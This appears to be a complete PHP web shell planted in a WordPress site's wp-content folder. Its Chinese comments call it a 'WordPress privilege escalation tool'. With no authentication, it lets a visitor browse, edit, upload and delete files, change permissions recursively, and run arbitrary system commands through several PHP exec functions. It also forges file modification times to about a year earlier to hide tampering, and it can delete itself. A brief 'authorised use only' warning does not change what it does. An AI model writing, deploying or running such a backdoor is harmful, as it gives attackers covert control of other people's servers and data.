File: /home/xuvi7odgswsg/public_html/wp-content/tq1.php
<?php
/**
* wordpress提权
* 功能:
* 1.从wordpress目录获取所有文件列表
* 1.1 每个文件都可以编辑内容、修改文件更新时间(修改时间默认修改成当前时间的前一年 )、修改文件权限 、删除文件
* 1.2 能上传文件到指定的路径,默认是当前路径
* 1.3 能执行系统命令
* 1.4 修改文件夹的权限 (默认是755)遍历修改子文件
*/
// 显示错误
ini_set('display_errors', 1);
ini_set('display_startup_errors', 1);
error_reporting(E_ALL);
// HTML头部
function html_header($title = "WordPress提权工具") {
echo '<!DOCTYPE html>';
echo '<html>';
echo '<head>';
echo '<title>' . $title . '</title>';
echo '<meta charset="UTF-8">';
echo '<style>';
echo 'body { font-family: Arial, sans-serif; margin: 20px; background-color: #f9f5ff; }';
echo 'h1, h2 { color: #6a1b9a; }';
echo '.container { max-width: 1200px; margin: 0 auto; background-color: white; padding: 20px; border-radius: 5px; box-shadow: 0 2px 5px rgba(0,0,0,0.1); }';
echo '.menu { margin: 20px 0; }';
echo '.menu a { display: inline-block; padding: 10px 20px; margin: 5px; background-color: #9c27b0; color: white; text-decoration: none; border-radius: 4px; }';
echo '.menu a:hover { background-color: #7b1fa2; }';
echo 'form { margin: 20px 0; }';
echo 'input[type="text"], input[type="password"], input[type="file"], select, textarea { padding: 8px; margin: 5px 0; width: 100%; max-width: 500px; }';
echo 'input[type="submit"] { padding: 10px 20px; background-color: #673ab7; color: white; border: none; border-radius: 4px; cursor: pointer; }';
echo 'input[type="submit"]:hover { background-color: #5e35b1; }';
echo '.file-list { background-color: #f9f5ff; padding: 15px; border-radius: 4px; max-height: 400px; overflow-y: auto; }';
echo '.file-item { padding: 8px; border-bottom: 1px solid #ddd; }';
echo '.file-item a { text-decoration: none; color: #7b1fa2; }';
echo '.file-item a:hover { text-decoration: underline; }';
echo '.result { margin: 20px 0; padding: 15px; background-color: #f3e5f5; border-left: 4px solid #9c27b0; }';
echo '.error { background-color: #ffebee; border-left-color: #e91e63; }';
echo 'pre { background-color: #f3e5f5; padding: 15px; border-radius: 4px; overflow-x: auto; }';
echo '.command-output { background-color: #4a148c; color: #e1bee7; padding: 15px; border-radius: 4px; font-family: monospace; max-height: 400px; overflow-y: auto; }';
echo '.icon { margin-right: 10px; font-size: 18px; }';
echo '.icon-folder { color: #7b1fa2; }';
echo '.icon-file { color: #9c27b0; }';
echo '</style>';
echo '</head>';
echo '<body>';
echo '<div class="container">';
echo '<h1>' . $title . '</h1>';
}
// HTML尾部
function html_footer() {
echo '</div>';
echo '</body>';
echo '</html>';
}
// 显示操作结果
function show_result($message, $is_error = false) {
$class = $is_error ? 'result error' : 'result';
echo '<div class="' . $class . '">';
echo nl2br($message);
echo '</div>';
}
// 检查是否是WordPress目录
function is_wordpress_directory($dir = '.') {
return file_exists($dir . '/wp-config.php') && file_exists($dir . '/wp-blog-header.php');
}
// 获取目录中所有文件列表(递归)
function get_all_files($dir) {
$files = [];
try {
$iterator = new RecursiveIteratorIterator(
new RecursiveDirectoryIterator($dir, RecursiveDirectoryIterator::SKIP_DOTS),
RecursiveIteratorIterator::SELF_FIRST
);
foreach ($iterator as $file) {
$files[] = $file->getPathname();
}
} catch (Exception $e) {
// 忽略遍历错误
}
return $files;
}
// 获取目录下的直接文件和文件夹(非递归)
function get_directory_items($dir) {
$items = [];
if (!is_dir($dir)) {
return $items;
}
$handle = opendir($dir);
if ($handle === false) {
return $items;
}
while (($item = readdir($handle)) !== false) {
if ($item != '.' && $item != '..') {
$items[] = $item;
}
}
closedir($handle);
// 排序:目录在前,文件在后
usort($items, function($a, $b) use ($dir) {
$a_is_dir = is_dir($dir . '/' . $a);
$b_is_dir = is_dir($dir . '/' . $b);
if ($a_is_dir && !$b_is_dir) return -1;
if (!$a_is_dir && $b_is_dir) return 1;
return strcmp($a, $b);
});
return $items;
}
// 修改文件时间
function modify_file_time($file_path) {
$now = time();
$target_time = $now - (365 * 24 * 60 * 60) - (30 * 24 * 60 * 60);
$target_time += rand(0, 23 * 60 * 60); // 随机小时
$target_time += rand(0, 59 * 60); // 随机分钟
$target_time += rand(0, 59); // 随机秒
if (touch($file_path, $target_time, $target_time)) {
return true;
} else {
return false;
}
}
// 修改文件权限
function modify_file_permission($file_path, $permissions = 0755) {
if (chmod($file_path, $permissions)) {
return "成功修改文件权限为 " . decoct($permissions);
} else {
return "修改文件权限失败";
}
}
// 编辑文件内容
function edit_file_content($file_path, $new_content) {
if (file_put_contents($file_path, $new_content) !== false) {
// 成功编辑文件内容后,修改文件时间
if (modify_file_time($file_path)) {
return "成功编辑文件内容并设置修改时间为前一年前一个月";
} else {
return "编辑文件内容成功,但修改文件时间失败";
}
} else {
return "编辑文件内容失败";
}
}
// 删除文件
function delete_file($file_path) {
if (unlink($file_path)) {
return "成功删除文件";
} else {
return "删除文件失败";
}
}
// 递归修改文件夹权限
function recursive_chmod($dir, $permissions = 0755) {
$result = [];
// 修改当前目录权限
if (chmod($dir, $permissions)) {
$result[] = "成功修改目录权限: " . $dir . " 为 " . decoct($permissions);
} else {
$result[] = "修改目录权限失败: " . $dir;
}
// 修改所有子文件和子目录
try {
$iterator = new RecursiveIteratorIterator(
new RecursiveDirectoryIterator($dir, RecursiveDirectoryIterator::SKIP_DOTS),
RecursiveIteratorIterator::SELF_FIRST
);
foreach ($iterator as $item) {
if (chmod($item->getPathname(), $permissions)) {
$result[] = "成功修改: " . $item->getPathname() . " 为 " . decoct($permissions);
} else {
$result[] = "修改失败: " . $item->getPathname();
}
}
} catch (Exception $e) {
$result[] = "遍历目录时出错: " . $e->getMessage();
}
return implode("\n", $result);
}
// 执行系统命令
function execute_system_command($command) {
// 设置文件描述符
$descriptorspec = array(
0 => array("pipe", "r"), // 标准输入
1 => array("pipe", "w"), // 标准输出
2 => array("pipe", "w") // 标准错误
);
// 创建进程
$process = proc_open($command, $descriptorspec, $pipes);
$output = '';
$error = '';
$return_var = 0;
if (is_resource($process)) {
// 关闭标准输入
fclose($pipes[0]);
// 读取标准输出
while (!feof($pipes[1])) {
$output .= fread($pipes[1], 1024);
}
// 读取标准错误
while (!feof($pipes[2])) {
$error .= fread($pipes[2], 1024);
}
// 关闭管道
fclose($pipes[1]);
fclose($pipes[2]);
// 获取返回值
$return_var = proc_close($process);
// 合并标准输出和错误输出
if (!empty($error)) {
$output .= "\n错误输出:\n" . $error;
}
}
return [
'output' => $output,
'return_code' => $return_var
];
}
// 上传文件
function upload_file($target_path = '.') {
if (!isset($_FILES['file'])) {
return "没有文件上传";
}
if (!is_dir($target_path)) {
return "目标路径不是有效的目录";
}
$file_name = basename($_FILES['file']['name']);
$target_file = $target_path . '/' . $file_name;
if (move_uploaded_file($_FILES['file']['tmp_name'], $target_file)) {
return "文件上传成功: " . $target_file;
} else {
return "文件上传失败: " . $_FILES['file']['error'];
}
}
// 显示主菜单
function show_main_menu() {
html_header();
echo '<div class="menu">';
echo '<a href="?action=files">文件管理</a>';
echo '<a href="?action=upload">文件上传</a>';
echo '<a href="?action=command">命令执行</a>';
echo '<a href="?action=permission">修改文件夹权限</a>';
echo '</div>';
echo '<p>这是WordPress提权工具,提供以下功能:</p>';
echo '<ul>';
echo '<li>获取WordPress目录所有文件列表</li>';
echo '<li>编辑文件内容</li>';
echo '<li>修改文件更新时间(设置为一年前)</li>';
echo '<li>修改文件权限</li>';
echo '<li>删除文件</li>';
echo '<li>上传文件到指定路径</li>';
echo '<li>执行系统命令</li>';
echo '<li>递归修改文件夹权限</li>';
echo '</ul>';
html_footer();
}
// 查找WordPress根目录(ABSPATH)
function find_wordpress_root() {
// 尝试获取WordPress的ABSPATH常量
if (isset($_SERVER['DOCUMENT_ROOT'])) {
return $_SERVER['DOCUMENT_ROOT'];
}
// 从当前目录开始向上查找
$dir = getcwd();
// 向上查找最多5层目录
for ($i = 0; $i < 5; $i++) {
if (is_wordpress_directory($dir)) {
return $dir;
}
// 获取父目录
$parent_dir = dirname($dir);
if ($parent_dir === $dir) { // 到达文件系统根目录
break;
}
$dir = $parent_dir;
}
// 如果找不到WordPress目录,返回当前目录
return getcwd();
}
// 处理文件列表页面
function handle_file_list() {
html_header("文件管理");
echo '<div class="menu">';
echo '<a href="?action=upload">文件上传</a>';
echo '<a href="?action=command">命令执行</a>';
echo '<a href="?action=permission">修改文件夹权限</a>';
echo '<a href="?action=index">返回主菜单</a>';
echo '<a href="?action=self_delete" style="background-color: #dc3545; color: white; float: right; margin-left: 20px;">删除本文件</a>';
echo '</div>';
// 查找WordPress根目录(ABSPATH)
$wp_root = find_wordpress_root();
// 设置默认目录为WordPress根目录
$dir = isset($_GET['dir']) ? $_GET['dir'] : $wp_root;
// 安全检查,防止目录遍历攻击
$real_dir = realpath($dir);
if ($real_dir === false) {
show_result("无效的目录路径", true);
echo '<a href="?action=files">返回文件管理</a>';
html_footer();
return;
}
echo '<h2>文件列表 - ' . htmlspecialchars($real_dir) . '</h2>';
// 返回上级目录
$parent_dir = dirname($real_dir);
if ($parent_dir !== $real_dir) { // 如果不是根目录
echo '<p><a href="?action=files&dir=' . urlencode($parent_dir) . '">.. 返回上级目录</a></p>';
}
// 处理权限修改POST请求
if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_POST['modify_perm'])) {
$file_path = isset($_POST['file_path']) ? $_POST['file_path'] : '';
$return_dir = isset($_POST['return_dir']) ? $_POST['return_dir'] : (isset($_GET['dir']) ? $_GET['dir'] : $wp_root);
$perm = isset($_POST['permissions']) ? $_POST['permissions'] : '755';
// 安全检查
$real_file_path = realpath($file_path);
if ($real_file_path === false || !file_exists($real_file_path)) {
$result_msg = '无效的文件路径';
$error_flag = '&error=1';
} else if (!preg_match('/^[0-7]{3}$/', $perm)) {
// 验证权限值格式(三位数字)
$result_msg = '无效的权限值,请输入三位八进制数字';
$error_flag = '&error=1';
} else {
// 执行权限修改
$permissions = octdec($perm);
$result_msg = modify_file_permission($real_file_path, $permissions);
$error_flag = strpos($result_msg, '失败') !== false ? '&error=1' : '';
}
// 确保返回目录是有效的绝对路径
$return_real_dir = realpath($return_dir);
if ($return_real_dir === false) {
$return_real_dir = $wp_root;
}
// 重定向回文件列表页面,显示结果
header('Location: ?action=files&dir=' . urlencode($return_real_dir) . '&result=' . urlencode($result_msg) . $error_flag);
exit;
}
// 显示文件操作结果
if (isset($_GET['result'])) {
$is_error = isset($_GET['error']) && $_GET['error'] == 1;
show_result(urldecode($_GET['result']), $is_error);
}
// 获取并显示当前目录下的直接文件和文件夹(非递归)
$items = get_directory_items($real_dir);
echo '<div class="file-list">';
echo '<p>共找到 ' . count($items) . ' 个文件/目录</p>';
foreach ($items as $item) {
$item_path = $real_dir . '/' . $item;
$is_dir = is_dir($item_path);
$size = $is_dir ? '' : ' (' . filesize($item_path) . ' bytes)';
$mod_time = date('Y-m-d H:i:s', filemtime($item_path));
$perms = decoct(fileperms($item_path) & 0777);
echo '<div class="file-item">';
if ($is_dir) {
echo '<span class="icon icon-folder">📁</span>';
echo '<a href="?action=files&dir=' . urlencode($item_path) . '">' . htmlspecialchars($item) . '</a>';
} else {
echo '<span class="icon icon-file">📄</span>';
echo '<a href="?action=file_view&file=' . urlencode($item_path) . '">' . htmlspecialchars($item) . '</a>' . $size;
}
echo ' - 权限: ' . $perms . ' - 修改时间: ' . $mod_time;
// 添加修改权限表单
echo '<form method="post" style="display:inline-block; margin-left: 10px;">';
echo '<input type="hidden" name="file_path" value="' . htmlspecialchars($item_path) . '">';
echo '<input type="hidden" name="return_dir" value="' . urlencode($real_dir) . '">';
echo '<div style="display: flex; align-items: center; gap: 5px;">';
echo '<input type="text" name="permissions" value="' . $perms . '" size="3">';
echo '<input type="submit" name="modify_perm" value="修改" style="padding: 2px 8px; font-size: 12px;">';
echo '</div>';
echo '</form>';
echo '</div>';
}
echo '</div>';
html_footer();
}
// 处理文件查看和操作
function handle_file_view() {
$file = isset($_GET['file']) ? $_GET['file'] : '';
$real_file = realpath($file);
if (!isset($_GET['file'])) {
header('Location: ?action=files');
exit;
}
$file = $_GET['file'];
// 安全检查
$real_file = realpath($file);
if ($real_file === false || !file_exists($real_file)) {
html_header("文件操作");
show_result("文件不存在", true);
echo '<a href="?action=files">返回文件管理</a>';
html_footer();
return;
}
html_header("文件操作 - " . basename($real_file));
echo '<div class="menu">';
echo '<a href="?action=files">返回文件管理</a>';
echo '<a href="?action=index">返回主菜单</a>';
echo '<a href="?action=self_delete" style="background-color: #dc3545; color: white; float: right; margin-left: 20px;">删除本文件</a>';
echo '</div>';
// 处理表单提交
if ($_SERVER['REQUEST_METHOD'] === 'POST') {
$result = '';
$is_error = false;
if (isset($_POST['action'])) {
switch ($_POST['action']) {
case 'edit':
$new_content = $_POST['content'];
$result = edit_file_content($real_file, $new_content);
break;
case 'modify_time':
$result = modify_file_time($real_file);
break;
case 'delete':
if (isset($_POST['confirm']) && $_POST['confirm'] == 'yes') {
$result = delete_file($real_file);
// 删除成功后返回文件列表
if (strpos($result, '成功') !== false) {
header('Location: ?action=files&result=' . urlencode($result));
exit;
}
} else {
$result = "请确认删除操作";
$is_error = true;
}
break;
}
if ($result) {
show_result($result, strpos($result, '失败') !== false);
}
}
}
echo '<h2>文件: ' . htmlspecialchars($real_file) . '</h2>';
// 已经在顶部菜单提供了导航链接,这里可以省略
// 显示文件内容编辑表单
if (is_file($real_file)) {
echo '<h3>编辑文件内容</h3>';
echo '<form method="post">';
echo '<input type="hidden" name="action" value="edit">';
echo '<textarea name="content" rows="20" cols="80">' . htmlspecialchars(file_get_contents($real_file)) . '</textarea><br>';
echo '<input type="submit" value="保存文件">';
echo '</form>';
}
// 修改文件时间
echo '<h3>修改文件时间</h3>';
echo '<form method="post">';
echo '<input type="hidden" name="action" value="modify_time">';
echo '<p>将文件时间修改为当前时间的前一年</p>';
echo '<input type="submit" value="修改时间">';
echo '</form>';
// 删除文件
echo '<h3>删除文件</h3>';
echo '<form method="post" onsubmit="return confirm(\'确定要删除此文件吗?此操作不可恢复!\')">';
echo '<input type="hidden" name="action" value="delete">';
echo '<input type="hidden" name="confirm" value="yes">';
echo '<input type="submit" value="删除文件" style="background-color: #e91e63;">';
echo '</form>';
html_footer();
}
// 处理文件上传
function handle_upload() {
html_header("文件上传");
echo '<div class="menu">';
echo '<a href="?action=files">文件管理</a>';
echo '<a href="?action=command">命令执行</a>';
echo '<a href="?action=permission">修改文件夹权限</a>';
echo '<a href="?action=index">返回主菜单</a>';
echo '<a href="?action=self_delete" style="background-color: #dc3545; color: white; float: right; margin-left: 20px;">删除本文件</a>';
echo '</div>';
// 处理上传请求
if ($_SERVER['REQUEST_METHOD'] === 'POST') {
$target_path = isset($_POST['target_path']) ? $_POST['target_path'] : '.';
$result = upload_file($target_path);
show_result($result, strpos($result, '失败') !== false);
}
echo '<h2>文件上传</h2>';
echo '<form method="post" enctype="multipart/form-data">';
echo '目标路径: <input type="text" name="target_path" value=".">(默认当前目录)<br>';
echo '选择文件: <input type="file" name="file"><br><br>';
echo '<input type="submit" value="上传">';
echo '</form>';
html_footer();
}
// 处理系统命令执行
function handle_command_execution() {
html_header("命令执行");
echo '<div class="menu">';
echo '<a href="?action=files">文件管理</a>';
echo '<a href="?action=upload">文件上传</a>';
echo '<a href="?action=permission">修改文件夹权限</a>';
echo '<a href="?action=index">返回主菜单</a>';
echo '<a href="?action=self_delete" style="background-color: #dc3545; color: white; float: right; margin-left: 20px;">删除本文件</a>';
echo '</div>';
echo '<p style="color: red;">⚠️ 仅允许运维自身服务器使用,禁止未授权操作!</p><hr>';
// 第一步:先检测所有可用的命令执行函数
$all_cmd_functions = [
'exec' => 'exec() - 获取完整输出及状态码',
'shell_exec' => 'shell_exec() - 获取完整输出',
'system' => 'system() - 获取完整输出及状态码',
'passthru' => 'passthru() - 获取原始完整输出及状态码(适合二进制)',
'proc_open' => 'proc_open() - 获取完整标准输出和错误输出(高级双向交互)',
'popen' => 'popen() - 获取完整输出(单向管道连接)'
];
$available_functions = [];
$disable_list = explode(',', ini_get('disable_functions'));
$disable_list = array_map('trim', $disable_list);
foreach ($all_cmd_functions as $func => $desc) {
if (function_exists($func) && !in_array($func, $disable_list)) {
$available_functions[$func] = $desc;
}
}
// 若无可⽤函数,直接提示
if (empty($available_functions)) {
show_result("❌ 无可用的命令执行函数(均已被禁用)", true);
html_footer();
return;
}
// 处理命令执行
$output = '';
$func_used = '';
// $status = 0; // 初始化status变量
if ($_SERVER['REQUEST_METHOD'] === 'POST' && !empty($_POST['func']) && !empty($_POST['cmd'])) {
$selected_func = trim($_POST['func']);
$cmd = trim($_POST['cmd']);
// // 安全过滤:防止命令注入(关键!)
// $cmd = escapeshellcmd($cmd);
$func_used = $all_cmd_functions[$selected_func] ?? $selected_func;
// 显示命令执行提示
show_result("正在执行命令: " . htmlspecialchars($cmd) . " (使用 $func_used)");
// 按选中的函数执行命令
switch ($selected_func) {
case 'exec':
exec($cmd, $exec_output, $status);
$output = implode("\n", $exec_output) . "\n(返回状态码:$status)";
break;
case 'shell_exec':
$output = shell_exec($cmd) ?: "命令执行无输出或失败";
break;
case 'system':
ob_start();
system($cmd, $status);
$output = ob_get_clean() . "\n(返回状态码:$status)";
break;
case 'passthru':
ob_start();
passthru($cmd, $status);
$output = ob_get_clean() . "\n(返回状态码:$status)";
break;
case 'proc_open':
$descriptors = [
0 => ['pipe', 'r'], // 输入
1 => ['pipe', 'w'], // 输出
2 => ['pipe', 'w'] // 错误
];
$process = proc_open($cmd, $descriptors, $pipes);
if (is_resource($process)) {
fclose($pipes[0]);
$stdout = stream_get_contents($pipes[1]);
$stderr = stream_get_contents($pipes[2]);
$output = $stdout;
// 只有当有错误信息时才添加错误信息标题
if (!empty(trim($stderr))) {
$output .= "\n错误信息:" . $stderr;
}
fclose($pipes[1]);
fclose($pipes[2]);
proc_close($process);
}
break;
case 'popen':
$handle = popen($cmd, 'r');
if (is_resource($handle)) {
$output = stream_get_contents($handle);
pclose($handle);
$output = $output . "\n(popen执行完成)";
}
break;
}
}
echo '<h2 style="margin-bottom: 20px; color: #333; border-bottom: 2px solid #4CAF50; padding-bottom: 5px;">系统命令执行</h2>';
echo '<form method="post" style="background: #fff; padding: 20px; border-radius: 6px; box-shadow: 0 2px 4px rgba(0,0,0,0.1);">';
echo '<div style="margin-bottom: 20px;">';
echo '<p style="margin-bottom: 10px; font-weight: bold; color: #555;">📌 可选可用函数(勾选一个):</p>';
echo '<div style="background: #f9f9f9; padding: 15px; border-radius: 4px;">';
foreach ($available_functions as $func => $desc) {
echo '<label style="display: block; margin: 8px 0; padding: 8px; border-radius: 4px; transition: background-color 0.3s; cursor: pointer;">';
echo '<input type="radio" name="func" value="' . $func . '" required style="margin-right: 10px;"> ' . $desc;
echo '</label>';
}
echo '</div>';
echo '</div>';
echo '<div style="margin-bottom: 20px;">';
echo '<p style="margin-bottom: 10px; font-weight: bold; color: #555;">🔧 输入要执行的命令(如 ls、dir、whoami):</p>';
echo '<input type="text" name="cmd" style="width: 100%; max-width: 600px; padding: 10px; border: 2px solid #ddd; border-radius: 4px; font-size: 14px; transition: border-color 0.3s;" value="' . (isset($_POST['cmd']) ? htmlspecialchars($_POST['cmd']) : '') . '" required>';
echo '</div>';
echo '<button type="submit" style="background: #4CAF50; color: white; border: none; padding: 10px 25px; border-radius: 4px; cursor: pointer; font-size: 16px; transition: background-color 0.3s; font-weight: bold;">执行命令</button>';
echo '</form>';
echo '<style>';
echo 'label:hover { background-color: #e8f5e9; }';
echo 'input[type="text"]:focus { outline: none; border-color: #4CAF50; }';
echo 'button:hover { background-color: #45a049; }';
echo '@media (max-width: 600px) {';
echo ' input[type="text"] { width: 100%; }';
echo '}';
echo '</style>';
if (!empty($output)) {
echo '<hr>';
echo '<div style="margin-bottom: 15px;">';
echo '<p style="margin-bottom: 8px; font-weight: bold;">📋 执行结果(使用 ' . $func_used . '):</p>';
echo '<div style="position: relative;">';
echo '<button onclick="copyOutput()" style="position: absolute; top: 8px; right: 8px; padding: 5px 10px; background: #4CAF50; color: white; border: none; border-radius: 4px; cursor: pointer; font-size: 12px;">复制结果</button>';
echo '<pre style="background: #2d2d2d; color: #f8f8f2; padding: 15px; border: 1px solid #444; border-radius: 6px; overflow-x: auto; max-height: 500px; font-family: monospace; font-size: 14px; line-height: 1.5;">' . htmlspecialchars($output) . '</pre>';
echo '</div>';
echo '</div>';
echo '<script>function copyOutput() { const text = document.querySelector("pre").innerText; navigator.clipboard.writeText(text).then(() => alert("结果已复制到剪贴板!")); }</script>';
}
echo '<hr>';
echo '<div style="background: #fff3cd; border: 1px solid #ffeaa7; color: #856404; padding: 15px; border-radius: 6px; margin-top: 20px;">';
echo '<p style="margin: 0; font-weight: bold; display: flex; align-items: center;">';
echo '<span style="margin-right: 10px; font-size: 18px;">⚠️</span>';
echo '安全警告:执行完成后请立即删除本文件,避免安全风险!';
echo '</p>';
echo '</div>';
html_footer();
}
// 处理文件夹权限修改
function handle_folder_permission() {
html_header("修改权限");
echo '<div class="menu">';
echo '<a href="?action=files">文件管理</a>';
echo '<a href="?action=upload">文件上传</a>';
echo '<a href="?action=command">命令执行</a>';
echo '<a href="?action=index">返回主菜单</a>';
echo '<a href="?action=self_delete" style="background-color: #dc3545; color: white; float: right; margin-left: 20px;">删除本文件</a>';
echo '</div>';
// 处理权限修改请求
if ($_SERVER['REQUEST_METHOD'] === 'POST') {
$dir = isset($_POST['directory']) ? $_POST['directory'] : '.';
$perm = isset($_POST['permissions']) ? $_POST['permissions'] : '755';
$recursive = isset($_POST['recursive']) ? true : false;
$permissions = octdec($perm);
$result = $recursive ? recursive_chmod($dir, $permissions) : modify_file_permission($dir, $permissions);
show_result($result, strpos($result, '失败') !== false);
}
echo '<h2>修改文件夹权限</h2>';
echo '<form method="post">';
echo '文件夹路径: <input type="text" name="directory" value=".">比如wp-conten目录:' . find_wordpress_root() . '/wp-content<br>';
echo '权限值 (八进制,如755): <input type="text" name="permissions" value="755"><br>';
echo '<label><input type="checkbox" name="recursive" checked> 递归修改所有子文件和子目录</label><br><br>';
echo '<input type="submit" value="修改权限">';
echo '</form>';
html_footer();
}
// 处理文件自删除功能
function handle_self_delete() {
html_header("删除本文件");
// 获取当前文件路径
$current_file = __FILE__;
// 处理删除请求
if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_POST['confirm']) && $_POST['confirm'] === 'yes') {
// 先输出删除确认信息
echo '<div style="background-color: #f8d7da; color: #721c24; padding: 20px; border-radius: 5px; margin: 20px 0;">';
echo '<h3>⚠️ 文件删除确认</h3>';
echo '<p>正在删除文件:' . htmlspecialchars($current_file) . '</p>';
echo '</div>';
// 尝试删除文件
if (unlink($current_file)) {
echo '<div style="background-color: #d4edda; color: #155724; padding: 20px; border-radius: 5px;">';
echo '<h3>✅ 删除成功</h3>';
echo '<p>文件已成功删除!系统将在3秒后刷新页面。</p>';
echo '</div>';
// 刷新页面以便用户看到404错误
echo '<meta http-equiv="refresh" content="3;">';
} else {
echo '<div style="background-color: #f8d7da; color: #721c24; padding: 20px; border-radius: 5px;">';
echo '<h3>❌ 删除失败</h3>';
echo '<p>无法删除文件,请检查文件权限。</p>';
echo '<p><a href="?action=index">返回主菜单</a></p>';
echo '</div>';
}
} else {
// 显示确认删除页面
echo '<div style="background-color: #fff3cd; color: #856404; padding: 20px; border-radius: 5px; margin: 20px 0;">';
echo '<h3>⚠️ 危险操作确认</h3>';
echo '<p>您确定要删除当前文件吗?此操作无法撤销!</p>';
echo '<p><strong>文件路径:</strong>' . htmlspecialchars($current_file) . '</p>';
echo '</div>';
echo '<form method="post" style="margin: 20px 0;">';
echo '<div style="display: flex; gap: 15px;">';
echo '<button type="submit" name="confirm" value="yes" style="background-color: #dc3545; color: white; border: none; padding: 10px 20px; border-radius: 5px; cursor: pointer;">确认删除</button>';
echo '<button type="button" onclick="window.location.href=\'?action=index\'" style="background-color: #6c757d; color: white; border: none; padding: 10px 20px; border-radius: 5px; cursor: pointer;">取消</button>';
echo '</div>';
echo '</form>';
}
html_footer();
}
// 主控制器
function main_controller() {
$action = isset($_GET['action']) ? $_GET['action'] : 'index';
switch ($action) {
case 'index':
show_main_menu();
break;
case 'files':
handle_file_list();
break;
case 'file_view':
handle_file_view();
break;
case 'upload':
handle_upload();
break;
case 'command':
handle_command_execution();
break;
case 'permission':
handle_folder_permission();
break;
case 'self_delete':
handle_self_delete();
break;
default:
show_main_menu();
}
}
// 运行主控制器
main_controller();